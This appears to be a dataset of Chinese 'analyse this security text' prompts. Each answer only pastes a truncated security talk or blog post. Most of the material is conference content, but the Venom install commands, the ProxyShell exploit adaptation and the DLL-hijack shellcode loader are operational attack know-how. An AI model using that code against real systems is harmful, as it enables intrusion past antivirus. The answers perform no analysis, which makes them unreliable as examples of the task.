Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Improving Cybersecurity through
Non-Technical Exercises and In-
House Strategic Analysis
View from the Czech Republic
by Michal Thim
DRAFT - DO NOT QUOTE
DISCLAIMER: The views and opinions expressed in this presentation are those of the presenter and do
not necessarily reflect the official policy, position of the National Cyber and Information Security
Agency of the Czech Republic, or any other government agency.
 Cyber and policy/OSINT specialist at the Czech National Security
Authority/National Cyber and Information Security Agency (NCISA) since August
2016, with research focus on East Asia (military and security developments,
APTs)
 Background in political science. Not even remotely close to be a technical
expert.
 Worked in a foreign policy think-tank (experience with decision-making
environment)
 Tried academic environment (and left it behind, which made both me and
academia quite happy)
 Developed some knowledge of Chinese language (can order coffee in Starbucks
and has a 50% chance to answer correctly YES/NO question)
 Above is not atypical personnel profile at the NCISA
DRAFT - DO NOT QUOTE
 Central body of state administration for cyber security
 Mission(s)
 Operation of the government CERT team: GovCERT.CZ
 Cooperation with national & international CERT teams
 Coordination and implementation of the National Cyber Security
Strategy and related Action Plan
 Protection of critical information infrastructure and other
important systems (helping them to protect themselves)
 Preparation of exercises and education projects
 Analysis and monitoring of cyber threats
 International cooperation
DRAFT - DO NOT QUOTE
 Outline of the institutional framework for
cybersecurity in the Czech Republic
 Non-technical exercises and its relevance for
decision making process
 Strategic analysis helps decision makers to
understand cybersecurity
DRAFT - DO NOT QUOTE
DRAFT - DO NOT QUOTE
 Even relatively simple setup involves number of agencies
ac...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Airsnarf
Why 802.11b Hotspots Ain’t So Hot.
Coming up...
• Disclaimer
• Example hotspot setup & weakness
• Rogue APs
• Demo of Airsnarf
• Defense strategies
Disclaimer
• This presentation and example software are
intended to demonstrate the inherent
security flaws in publicly accessible
wireless architectures and promote the use
of safer authentication mechanisms for
public 802.11b hotspots.  Viewers and
readers are responsible for their own actions
and strongly encouraged to behave
themselves.
Example HotSpot Setup
• Visit hotspot provider website and create
login
• Visit hotspot with wireless device
• Power on, associate, get IP, DNS, etc.
• Open web browser and get redirected
• Login, backend authentication & billing,
welcome to the Internet
Is this secure?
Access Point
SSID: “goodguy”
SSID: “badguy”
Stronger or Closer
Access Point
“ANY”
Wi-Fi Card
SSID: “goodguy”
“badguy”
Rogue APs?
• Rogue AP = an unauthorized access point
• Traditional
– corporate back-doors
– corporate espionage
• Hotspots
– DoS
– theft of user credentials
– AP “cloning”
Hotspot Rogue AP Mechanics
• “Create a competing hotspot.”
• AP can be actual AP or HostAP
• Create or modify captive portal behind AP
• Redirect users to “splash” page
• DoS or theft of user credentials
• Bold attacker will visit ground zero.
• Not-so-bold will drive-by with an amp.
Airsnarf
• Nothing special
• Simplifies HostAP, httpd, dhcpd, Net::DNS,
and iptables setup
• Simple example rogue AP
• Demonstration
Defense Strategies
• Local AP awareness
• Customer education
• One-time authentication mechanisms
• Don’t charge for hotspot access?
Links
• Airsnarf - http://airsnarf.shmoo.com
• HostAP - http://hostap.epitest.fi/
• Red Hat Kernel w/ HostAP -
http://www.cat.pdx.edu/~baera/redhat_hostap/
• Looking for hotspots? -
http://www.hotspotlist.com/
• Other “wireless portal software” -
http://www.personaltelco.net/index.cgi/PortalSoftware
Questions?


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
Living Off the Walled Garden:
Abusing the Features of the Early Launch
Antimalware Ecosystem
Matt Graeber
Director, Threat Research @ Red Canary
#BHUSA @BlackHatEvents
Information Classification: General
Who protects the protector?
Introduction to ELAM and PPL
#BHUSA @BlackHatEvents
Information Classification: General
Previous work - Everything is derivative
Thank you James
and Alex!
#BHUSA @BlackHatEvents
Information Classification: General
Protected Process Light Protections
● Designed to prevent tampering in user-mode, even as admin.
● Cannot start or stop protected processes
● Cannot get a handle to a protected process
● Cannot attach a debugger to a protected process
● To run protected, an executable must meet specific signing
requirements.
#BHUSA @BlackHatEvents
Information Classification: General
Early Launch AntiMalware (ELAM) Drivers
● Microsoft’s supported 3rd party security product anti-tampering
mechanism.
● Specifies certificate hashes allowed to run at the Antimalware-
Light PPL protection level
● “Microsoft requires that Early Launch Antimalware vendors be
members of the Microsoft Virus Initiative (MVI).”
● Vendors must pass the WHQL driver submission.
#BHUSA @BlackHatEvents
Information Classification: General
Enumerating installed ELAM drivers
#BHUSA @BlackHatEvents
Information Classification: General
Early Launch Antimalware (ELAM) Driver Hashes
● Certificate hashes are To-Be-Signed (TBS) hashes.
● TBS hash is not the same as a Thumbprint!
● Tools to calculate TBS hash:
○ certmgr.exe (Windows SDK)
○ Get-TBSHash
● VirusTotal doesn’t understand TBS hashes…
#BHUSA @BlackHatEvents
Information Classification: General
ELAM Driver Signer Resource
MicrosoftElamCertificateInfo
MSElamCertInfoID
{
3, // count of entries
L”CertHash1\0”,
Algorithm,
L”EKU1\0”,
L”CertHash2\0”,
Algorithm,
L”\0”, //No EKU for cert hash 2
L”CertHash3\0”,
Algorithm,
L”EKU3a;EKU3b;EKU3c\0”,  //multiple EKU entries supported (max: 3)
}
Protecting anti-malwar...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FluX on: E.A.S.
(Emergency Alert System)
Presented By:
Matt Krick, “DCFluX”
Chief Engineer, New West Broadcasting Systems, Inc.
DEF CON 16
Las Vegas, NV
Track 2, 12:00-12:50, Saturday, August 9, 2008
WARNING:
Shut down all transmitters with active
microphones in the room.
Do not re-transmit ‘Hot’ audio.
Saturday Night Live, TV Funhouse, Fun With Real Audio ©1997 by NBC, Inc.
About the Author
• Matt Krick
• “DCFluX”
• Video Editor
• Broadcast Engineer
– 1998 to Present
• K3MK
– Licensed to
Transmit, 1994 to
Present
Video Advantage ©2002 by Media Concepts, Inc.
Warning Systems
1. CONELRAD
2. EBS
3. EAS
4. EAS: The Next Generation
1. CONtrol of ELectromagnetic RADiation
• 1951 - 1963
• All FM, TV and most AM stations sign-off
• Some AM stations required to broadcast
on 640 kHz or 1240 kHz
• All radios marked with CONELRAD
indicators on frequency dials
• Carrier on and off in 5 second intervals
– 1000 Hz alert tone for 20 - 25 seconds
1. CONtrol of ELectromagnetic RADiation
Photo by: Trevor Paglen
Department of Geography, University of California at Berkeley
1. CONtrol of ELectromagnetic RADiation
• CONELRAD Stress Test
– Transmitter power supply failure
– Local electrical substation failure
– Transmitter output network failure
– Transmitter carrier tube failure
– Transmitter modulator tube failure
• 1963 - 1997
• Introduction of ‘Two-Tone’ alert
– 853 & 960 Hz for 20 - 25 seconds
• Required 24 / 7 manned stations to
relay alerts
2. Emergency Broadcast System
2. Emergency Broadcast System
• EBS Stress Test
– Transmitter power supply failure
– Local electrical substation failure
– Transmitter modulator tube failure
3. Emergency Alert System
• 1997 - Present (1994)
• Administered by FEMA, FCC & NOAA
• Introduction of “SAME” encoded digital
message headers
– EAS uses 853 & 960 Hz Alert Tone
– SAME uses 1050 Hz Alert Tone
• Fully automated
3. Emergency Alert System
• Emergency Action Notification (EAN)
• Emergency Action Termination (EAT)
• National Informat...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

关于如何在kali-2019.4上安装
Venom
我尝试在最新版的kali-2019.4上面安装venom，但是安装软件依赖的时候提示超
时，无法继续安装，如下图
后面在各大安全群寻求帮助，都没有答复，而后只能向国外友人询问，他告诉我最
新版kali无法安装是因为没有安装zenity
安装
成功截图，生成exe均没有问题
安装zenity
apt-get install zenity
下载源码
git clone https://github.com/r00t-3xp10it/venom.git
设定执行许可
cd venom-main
sudo find ./ -name "*.sh" -exec chmod +x {} \;
sudo find ./ -name "*.py" -exec chmod +x {} \;
安装所有依赖项
cd aux && sudo ./setup.sh
运行主工具
sudo ./venom.sh


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#proxyshell for workload
从发布上个文章后，好多从那个文章加微信的朋友都提到了负载问题，但是搬家没时
间看。最近刚搬完家看了一下大致解决了这个问题，顺便做一个记录。脚本已公开至
个人 github。
https://github.com/wudicainiao/proxyshell-for-exchange_workload
0x02
Wsman 发送请求时有顺序的序列，而遇到负载时这个特点会造成顺序发送请求时，
有些请求发给了负载的其他机器，从而造成 cmdlet 调用失败，会报错如下。
但是并不是所有这个报错的都是负载，sid 认证失败后如果还持续发送请求，也会报
该错误。
具体看目标是否存在负载，可查看 response header 中 X-CalculatedBETarget 的值是否
有变化，就可知道目标是不是负载或大概有多少个负载服务器。
这个问题上，一开始并没有想到如何解决，当时想着去看下 wsman 能不能压缩请求
次数看一下怎么改造这个库文件。
之后又突然想到把思路颠倒一下，实际上这个问题就如链接 webshell 时遇到的负载问
题一样，逆向思维我们只要确保每个请求都发给了目标负载就可解决这个问题，改造
原 poc，主要的修改代码如下。
测试执行 get-user 等有很多个请求包的 cmdlet，已可稳定利用。但是在针对有数十个
负载的目标时候，还需要重新写一下脚本以提高效率。
Ref:
https://github.com/dmaasland/proxyshell-poc


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

About your JOB
Ethen @ TDOH
Security Consultant
Defense / Forensic / Analysis
Full-stack SOC Engineer
Developer
Free and Open
ethen@tdohacker.org
XXX
“”
“”
•
•
•
•
Penetration Test
SOC
SOC
Security Operation Center
/
 /
2016/06/26
...
……
TDOH
https://goo.gl/jaVUtO
https://goo.gl/RqN9y1
http://tdohacker.org/
VSSecurity

HITCON


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Tim Hsu
CHROOT.ORG
PDF created with pdfFactory Pro trial version www.pdffactory.com
2008/7/25
2
¤ HIT(Hacks In Taiwan)主辦人
¤ 網駭科技創辦人
¤ 資訊安全技術研究者，同時也是 Linux 愛好者。
¤ 專長於網路程式設計、網路滲透測試、駭客攻擊手法研究、惡意程
式分析及嵌入式系統等。
¤ 著作
¡ Linux C 函式庫詳解辭典 (旗標)
¡ The Wargame 駭客訓練基地 - 決戰台灣版(旗標) (與曾信田、莊明
躍、何弈甫等人合著)
2
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ Malicious Document Introduction
¤ How To Identify The Malicious Code In The
Document
¤ Static And Dynamic Analysis
¤ To Identify Which Vulnerable
¤ Demo
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ What Is Malicious Document?
¤ Office Document/CHM/PDF
¤ Other
¡ RAR/ZIP/MDB/…
PDF created with pdfFactory Pro trial version www.pdffactory.com
ShellCode
EXE/DLL
Malicious
Document
EXE/DLL
C:\Windows\System32\
PDF created with pdfFactory Pro trial version www.pdffactory.com
ShellCode
EXE/DLL
Malicious
Document
C:\Windows\System32\
EXE/DLL
DOC
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ Kernel32.DLL
¤ Different Windows Version
¤ Find kernel32.dll
¡ PEB(Process Environment Block)
¡ SEH(Structured Exception Handling)
¡ TOPSTACK
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ PEB (Process Environment Block)
¤ Every running process that can always be
found at fs:[0x30] from within the process.
¤ Works on: 95/98/ME/NT/2K/XP/2K3
¤ mov eax, fs:[eax+0x30]
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ SEH(Structured Exception Handling)
¤ Starts at local process address fs:0
¤ Works on: 95/98/ME/NT/2K/XP/2K3
¤ xor ecx, ecx
¤ mov esi, fs:[ecx]
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ Uses Thread Environment Block (TEB) located
at fs:0x18h as starting point
¤ works on: NT/2K/XP/2K3
¤ xor esi, esi
¤ mov esi, fs:[esi + 0x18]
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ Anti-Virus Software
¤ Signature
¡ Typical opcode
¡ PE/MZ Format
œ MZ
PDF created with pdfFactory Pro trial version www.pdffactory.com
She...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

@patrickwardle
DEATH BY 1000 INSTALLERS
...it's all broken :(
WHOIS
“leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, IoT
devices and infrastructure endpoints”
security for the
21st century
@patrickwardle
issues; bugs; & exploits!
OUTLINE
authorization
core issues
finding 0days
bugs
exploits
(user-assisted) privilege escalation
THE GOAL
infect
trojan
email
exploits
}
1
2 escalate privileges
$_
#_
fake popups (lame)
vulnerabilities
today, we'll focus on finding & exploiting vulnerabilities in
installers/updaters that (with user assistance) provide the
means for local elevation of privileges.
}
(not lame)
today's talk
AUTHORIZATION
executing priv'd actions (ui)
(low-priv'd) apps may need to perform priv'd actions
THE NEED
installing
updating
debugging
system conf
}
most
 common
...for me, about 1x a day!
authentication & authorization
BEHIND THE SCENES
security agent:
 show authentication dialog
installer:
"I wanna do a
priv'd action"
1
2
3
4
authorization daemon:
authorization database
XPC
XPC
priv'd action!
more info:
"Authorization Services
Programming Guide" -apple
"*OS Internals v.III" -levin
consult auth db
xpc for auth prompt
request via AuthorizationExecuteWithPrivileges()
BEHIND THE SCENES
installer:
"I wanna do a
priv'd action"
1
AuthorizationRef authRef;
AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef);
AuthorizationExecuteWithPrivileges(authRef, "/path/to/binary", kAuthorizationFlagDefaults, NULL, NULL);
AuthorizationExecuteWithPrivileges()
define TRAMPOLINE "/usr/libexec/
security_authtrampoline"
AuthorizationExecuteWithPrivileges()
-> AuthorizationExecuteWithPrivilegesExternalForm()
switch (fork()) {
 //child
 case 0:
 execv(trampoline, (char *const*)argv);
$ ls -lart /usr/libexec/security_authtrampoline
-rws--x--x  root  wheel security_authtrampoline
int main() {
AuthorizationItem right = {EX...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

源代码安全测试云平台服务商
Secure Your Code Trust Your Software    www.haodahengye.com.cn     18910080395
Fortify SCA 支持 Android 源码安全漏洞检测类别
1. Access Control: Android Provider
2. Access Control: Database
3. Android Bad Practices: Missing Broadcaster Permission
4. Android Bad Practices: Missing Receiver Permission
5. Android Bad Practices: Sticky Broadcast
6. Cross Site Scripting: Persistent
7. Cross Site Scripting: Poor Validation
8. Cross Site Scripting: Reflected
9. Header Manipulation: Cookies
10. Insecure Storage: Android External Storage
11. Log Forging
12. Password Management
13. Password Management: Empty Password
14. Password Management: Hardcoded Password
15. Password Management: Null Password
16. Password Management: Weak Cryptography
17. Path Manipulation
18. Privacy Violation
19. Privilege Management: Android Location
20. Privilege Management: Android Messaging
21. Privilege Management: Android Telephony
22. Privilege Management: Missing API Permission
23. Privilege Management: Missing Intent Permission
24. Query String Injection: Android Provider
25. Resource Injection
26. SQL Injection
27. System Information Leak
                                      源代码安全测试云平台服务商
Secure Your Code Trust Your Software    www.haodahengye.com.cn     18910080395
HP Fortify SCA 支持 iPhone 源码安全漏洞检测类别
1. Access Control: Database
2. Code Correctness: Regular Expressions Denial of Service
3. Format String
4. Key Management: Hardcoded Encryption Key
5. Log Forging
6. Memory Leak
7. Often Misused: Encoding
8. Often Misused: File System
9. Often Misused: SMS
10. Often Misused: Weak SSL Certificate
11. Password Management: Empty Password
12. Password Management: Hardcoded Password
13. Password Management: Null Password
14. Path Manipulation
15. Privacy Violation
16. Privacy Violation: Keyboard Caching
17. Privacy Violation: Screen Caching
18. Resource Injection
19. SQL Injection
20. Unreleased Resource: Streams
21. U...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEF CON 19
Malware Freakshow 3:
 They're pwning er'body out there!
Nicholas J. Percoco & Jibran Ilyas
Copyright Trustwave 2011
Agenda
•  Introduction
•  Evolution of Malware
•  Sample Analysis + Victim + Demo
•  Sample SL2010-161 – Kameo (Grocery Store)
•  Sample SL2011-014 – Memory Dumper (Bar)
•  Sample SL2011-026 – Webcheck.dll (Work)
•  Sample SL2011-039 – Android Malware (Phone)
•  Conclusions
Copyright Trustwave 2011
Inspiration – “System Intruder”
“Well… There's malware on the interwebs. They're pwning all
your systems, snatching your data up. So hide your cards, hide
your docs, and hide your phone, 'cause they're pwning er'body
out there!” – Zero Cool
Copyright Trustwave 2011
Introduction – Who are these guys?
Nicholas J. Percoco (@c7five)
•  Head of SpiderLabs at Trustwave
•  Started my InfoSec career in the 90s
•  4th DEF CON talk (2 more this weekend – Droid & SSL)
•  Primary author of Trustwave’s Global Security Report
Jibran Ilyas (@jibranilyas)
•  Senior Forensic Investigator, Spiderlabs at Trustwave
•  9 Years of InfoSec Experience
•  Speaker at several Global Security Conferences like Black
Hat, DEF CON, SecTor, Source Barcelona, etc.
•  Masters degree from Northwestern University
Copyright Trustwave 2011
Introduction – Why give a “Freakshow”?
Exploits
  are
  commodi0es.
  Malware
  fuels
  the
  business
  of
  crime*.
*“They're pwning er'body out there!”
Copyright Trustwave 2011
Introduction – What’s this about?
This
  the
  3rd
  Itera0on
  of
  this
  Talk
•
2009
  –
  KeyLogger,
  MemDumper,
  Video
  Poker,
  Sniﬀer
•
2010
  –
  MemDumper,
  Logon
  Creden=als
  Stealer,
  Sniﬀer,
Client-‐Side
  (PDF
  Malware)
New
  Targets
  This
  Year
  -‐>
  YOU
•
Your
  Grocery
  Store
•
Your
  Favorite
  Bar
•
Your
  Work
•
Your
  Smart
  Phone
Copyright Trustwave 2011
Evolution of Malware - 2009
•  Sloppy
  malware
  developers
•  Just
  “tes=ng
  th...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

用Golang编写 dll劫持的一些坑 (3)
源于知识星球的一个想法，利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序。
我想用Golang编写劫持的dll，这样也方便可以做成在线平台。
我们的目标不是让它弹一个信息框，而是让它执行shellcode，并且使用一些hook技术保证白程序只加
载一个dll的同时不和后续的代码冲突  这需要我们编写一个通用的dll白加黑的劫持模板，当然dll加载模
式不同劫持的方式也不同。
我找到是vscode它的更新程序，也有它官方的签名
被劫持的dll在 inno_updater.exe 的导入表中，这种劫持可以叫它 pre-load ，我只用实现它的5个函数
就可以了。
因为我想做成通用型的，对于这种输入表导入的dll做劫持，只需要在 DllMain 中获取主程序的入口点，
然后将shellcode写入入口点，之后主程序运行就会执行我们的shellcode了。
C代码如下
测试过是能够正常使用的。
但是把它转成Go的过程中，踩了不少坑。
C代码转换为Go
int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)
{
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
            hello_func();
            break;
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
}
void hello_func()｛
    DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress +
dosHeader->e_lfanew);
    DWORD entryPoint = (DWORD)baseAddress + ntHeader-
>OptionalHeader.AddressOfEntryPoint;
    DWORD old;
    VirtualProtect(entryPoint, size, 0x40, &old);
    for(int i=0;i<size;i++){
        *((PBYTE)entryPoint+i) = shellcode[i];
    }
    VirtualProtect(entryPoint, size, old, &old);
｝
读取PE入口点用来写shellcode，用Windows API GetModuleHandle 可以得到PE进程的内存地址，根
据内存地址加减偏移就可以得到入口点。
我原本使用了 github.com/Binject/debug/pe 库，它里面有一个 pe.NewFileFromMemory() 函数，可
以直接从内存中读取，但是它的参数是需要一个 io 类型，文件的io自身有很多api，但是对内存的io，
资料好少。
最后找了很多资料，发现只能自己实现io的接口
但问题来了， ReadAt 接口要求我们自己读完了就返回 io.EOF ，我是从内存空间读的，我不知道什么时
候读完。
就这么纠结了好久，虽然现在写的时候想到了，我可以实现这个 ReadAt ，长度我可以生成模板的时候
硬写进去，但又感觉没必要，因为我根据PE的偏移写好了。
直接就不用它的库了，手动根据偏移去寻找入口点。
type ReaderAt interface {
    ReadAt(p []byte, off int64) (n int, err error)
}
var (
    kernel32           = syscall.NewLazyDLL("kernel32.dll")
    getModuleHandle    = kernel32.NewProc("GetModuleHandleW")
    procVirtualProtect = kernel32.NewProc("VirtualProtect")
)
func GetModuleHandle() (handle uintptr) {
    ret, _, _ := getModuleHa...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Porosity
Decompiling Ethereum Smart-Contracts
Matt Suiche (@msuiche)
Founder, Comae Technologies
m@comae.io
Whoami
 @msuiche
 Comae Technologies
 OPCDE - www.opcde.com
 First time in Vegas since BlackHat 2011
 Mainly Windows-related stuff
 CloudVolumes (VMware App Volumes)
 Memory Forensics for DFIR (Hibr2Bin, DumpIt etc.)
 “looks like such fun guy” – TheShadowBrokers
 Didn’t know much about blockchain before this project
Just so you know…
 We won’t talk about POW/POS stuff
 We won’t talk about Merkle Trees
 We won’t talk about how to becoming a crypto-currency millionaire
 We will talk about the Ethereum EVM
 We will talk about Solidity
 We will talk about smart-contract bytecodes
 And yes, the tool isn’t perfect ☺
Agenda
 Ethereum Virtual Machine (EVM)
 Memory Management
 Addresses
 Call Types
 Type Discovery
 Smart-Contract
 Code Analysis
 Known Bugs
 Future
Solidity
 Solidity the quality or state of being firm or strong in
structure.
 But also the name of Ethereum’s smart-contracts compiler
 Porosity is the quality of being porous, or full of tiny holes.
Liquids go right through things that have porosity.
 But also the name of Comae’s smart-contract decompiler.
Ethereum Virtual Machine (EVM)
 Account/Contract/Blockchain
 A Smart-Contract is made of bytecode stored in the blockchain.
 An address is a 160-bits value & corresponds to an “account”
 Operates 256-bits pseudo-registers
 EVM does not really have registers, but uses a virtual stack to replace them.
Solidity & “Smart Contracts”
 Solidity compiles JavaScript-like code into Ethereum bytecode.
contract Coin {
// The keyword "public" makes those variables
// readable from outside.
address public minter;
mapping (address => uint) public balances;
// Events allow light clients to react on
// changes efficiently.
event Sent(address from, address to, uint amount);
// This is the constructor whose code is
// run only when the contract is created.
function Coin() {
minter = msg.sender;
}
function mint(address ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bug Bounty 獎金獵人甘苦談
那些年我回報過的漏洞
orange@chroot.org
#Orange  Tsai
#CHROOT  #DEVCORE
#電競選手 #CTFer
#Web
#汪
My RCE Checklists
√ Facebook
√ Apple
√ Yahoo
√ Uber
? Google
什麼是 Bug Bounty Program ?
• 在官方所提供的規則及範圍下, 讓獨立的研究人員可自由尋找系
統漏洞, 並提供對等的獎勵
小禮物
獎金
名譽（Hall of Fame）
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
How do you turn
this on ?
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
更多的駭客！
更多的思路！
更多的漏洞！
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
公司對於安全的重視！
吸引優秀的資安高手！
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
告訴駭客們有簡單的
方法可以做好事！
有哪些企業已經有了 Bug Bounty ?
1995
2010
2011
2013
2013
2016
2014
2015
The Internet Bug Bounty
為了維護網路世界的和平
獎勵那些找出可影響整個網路世界弱點的英雄們!
Bug Bounty 成效
$6 Million
•
750+ bugs in 2015
•
300+ hackers in 2015
$4.2 Million
•
526 bugs in 2015
•
210 hackers in 2015
$1.6 Million
•
2500+ bugs since 2013
•
1800+ hackers since 2013
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
獎金？
名譽？
練功？
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
雖然今非昔比
告訴自己一定會有洞
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
常見弱點的理解
SQL Injection
Cross-Site Scripting
Cross-site Request Forgery
XML External Entity
Local File Inclusion
CSV Macro Injection
XSLT Injection
SVG/XML XSS
RPO Gadget (NOT ROP)
Subdomain Takeover
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
資訊的蒐集方法
• DNS 與 網路邊界
子域名? 相鄰域名? 內部域名?
Whois? R-Whois?
併購服務
Google 的六個月規則
• Port Scanning
Facebook Jenkins RCE by Dewhurst Security
Pornhub Memcached Unauthenticated Access by @ZephrFish
uberinternal.com ?
twttr.com ?
etonreve.com ?
資訊的蒐集方法 - 小案例
• Yahoo! Yapache
修改版本的 Apache Web Server
在當時也是創舉
資訊的蒐集方法 - 小案例
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
注意規則及允許範圍
• 規則所允許範圍
範圍外就無法嘗試嗎?
• 規則所允許限度
Instagram's Million Dollar Bug by Wesley (Awesome :P)
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
不符合規定的漏洞
• 別踏入榮譽感的誤區
• 常見不符合規定例子:
SELF XSS (需要過多使用者互動)
Information Leakage
Cookie without Secure Flag or HttpOnly
Logout CSRF
Content Injection
2014 Google VRP 回報狀況
參加 Bug Bou...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Microservices and FaaS
for Offensive Security
Ryan Baxendale
$ whoami
Ryan Baxendale
Penetration Tester
Centurion Information Security Pte Ltd - www.centurioninfosec.sg
Singapore
twitter.com/ryancancomputer
github.com/ryanbaxendale
linkedin.com/in/ryanbaxendale
AWS Lambda
Jan 2015 - AWS Lambda Preview
Open to all AWS Customers
Upload your code and trigger it to run
Scales quickly
1,000,000 code runs for free every month
Only supported node.js
lambdash: AWS Lambda Shell Hack
By Eric Hammond
https://github.com/alestic/lambdash
Run shell commands using node.js
Servers are dead...
“Serverless”
The stack
Source: https://intl.aliyun.com/forum/read-499
Microservices
Code
Real-time File Processing
https://aws.amazon.com/lambda/
Scale
https://github.com/airbnb/streamalert
StreamAlert is a serverless, realtime data
analysis framework which empowers you to
ingest, analyze, and alert on data from any
environment, using datasources and alerting
logic you define.
https://github.com/0x4D31/honeyLambda
honeyλ - a simple serverless application
designed to create and monitor URL
{honey}tokens, on top of AWS Lambda and
Amazon API Gateway
https://github.com/goadapp/goad
Goad is an AWS Lambda powered, highly
distributed, load testing tool built in Go
https://github.com/davbo/lambda-csp-report-uri
Simple python application which runs on AWS
Lambda and writes CSP reports into S3 for later
processing
https://github.com/therefromhere/csp_lambda
AWS Lambda function to store Content Security
Policy reports in ElasticSearch
Automate
https://github.com/marekq/aws-lambda-firewall
Create temporary security groups on your
EC2 instances through a simple API call. In
addition, audit your security groups easily by
the use of automated reports written to S3.
https://github.com/ilijamt/lambda_security_grou
p_manager
Auto managing your AWS security groups
with Lambda
https://github.com/johnmccuk/cloudflare-ip-security-
group-update
Lambda function to retrieve Cloudflare's IP address
list ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

域渗透从⼊入⻔门到⾃自闭
前期准备
前⾔言
本系列列在于从简单的Windows域环境搭建到利利⽤用域的特性，通过哈希传递攻击、凭证窃取技术
结合互联⽹网公布现成的安全研究⼯工具，进⾏行行域横向移动渗透，最终到达我们⽬目标，拿到ad域控
制器器权限。
实验环境设置
下⾯面列列出本次实验环境计算机跟练习中的⼀一些配置设置，均在VMWARE下完成。
我们的域名将被命名为h4x0er.org公司，因此创建域，然后将这些PC电脑加⼊入域，let’s go!
本次实验环境⼀一共有三台电脑，⼀一台AD域控制器器DC，另外两台员⼯工PC。
系统ISO下载地址: https://msdn.itellyou.cn/
Windows Server 2012(DC1)
1.修改计算机名
2.修改IP地址
3.服务器器管理理器器—⻆角⾊色—添加AD
⼀一路路下⼀一步，到服务器器⻆角⾊色选择Active Directory域服务，添加功能
继续⼀一路路下⼀一步，到指定备⽤用源选择⾃自⼰己Windows Server 2012 R2的安装光盘位置路路径，这⾥里里
我的光盘路路径是D:\source\sxs，指定完后确定，点击安装
4.安装AD域控制器器
回到我们服务器器管理理器器界⾯面，点击
添加新林林，输⼊入根域名:h4x0er.org
输⼊入⼀一个符合复杂度的密码，点击下⼀一步。
域数据存放位置
⼀一路路下⼀一步，安装。
Windows7(Admins-PC/Victims-PC)
另外两台PC配置类似
1.设置计算机名
2.设置IP地址
3.加⼊入域控
两台机器器加⼊入完域后，必须重启计算机。
4.关闭防⽕火墙
重启完电脑后，把所有防⽕火墙关闭
现在所有的电脑都加⼊入了了域，接下来我们添加⼀一些账号跟组到域环境当中。
域账号设置
在本次实验练习当中，你将看到helpdesk帮助台和域管理理员之间进⾏行行分离，但其实并没有什什么
⽤用，不不⾜足以防⽌止凭证窃取。让我们创建⼀一个helpdesk组作为安全组进⾏行行分离。
组名
成员
描述
Helpdesk
PonyM
⽤用于管理理h4x0er.org域客户端
开始菜单->运⾏行行>dsa.msc->容器器Users->右击新建->点击组->输⼊入组名HelpDesk->确定
或直接在域控服务器器下以administrator权限输⼊入命令
net group HelpDesk /add /domain
进⾏行行创建安全组HelpDesk
让我们在域中创建三个⽤用户
姓名
登录账号
描述
登录机器器
Jack Ma
JackM
悔悔创阿⾥里里Jack⻢马，是遭受钓⻥鱼
邮件的受害者
VICTIMS-PC
依次按照以下步骤重复新建3个⽤用户Jackma/Ponyma/RobinLi-
Pony Ma
PonyM
普通家庭Pony⻢马，是IT部⻔门⼈人
员，同时也是”Helpdesk”安全
组的成员。
VICTIMS-PC
ADMINS-PC
Robin Li
RobinL
再赢⼀一次Robin 李李，是域管理理
员。
ADMINS-PC
AD域控制器器
以及添加Robin Li到域管理理员
或直接在域控服务器器下以administrator权限输⼊入命令
net user JackM password123!@# /add /domain
net user PonyM password456!@# /add /domain
net user RobinL password789!@# /add /domain
net group “Domain Adminis” RobinL /add /domain
最后创建了了三个账号以及⼀一个安全组
对了了别忘记把Pony Ma加⼊入HelpDesk安全组
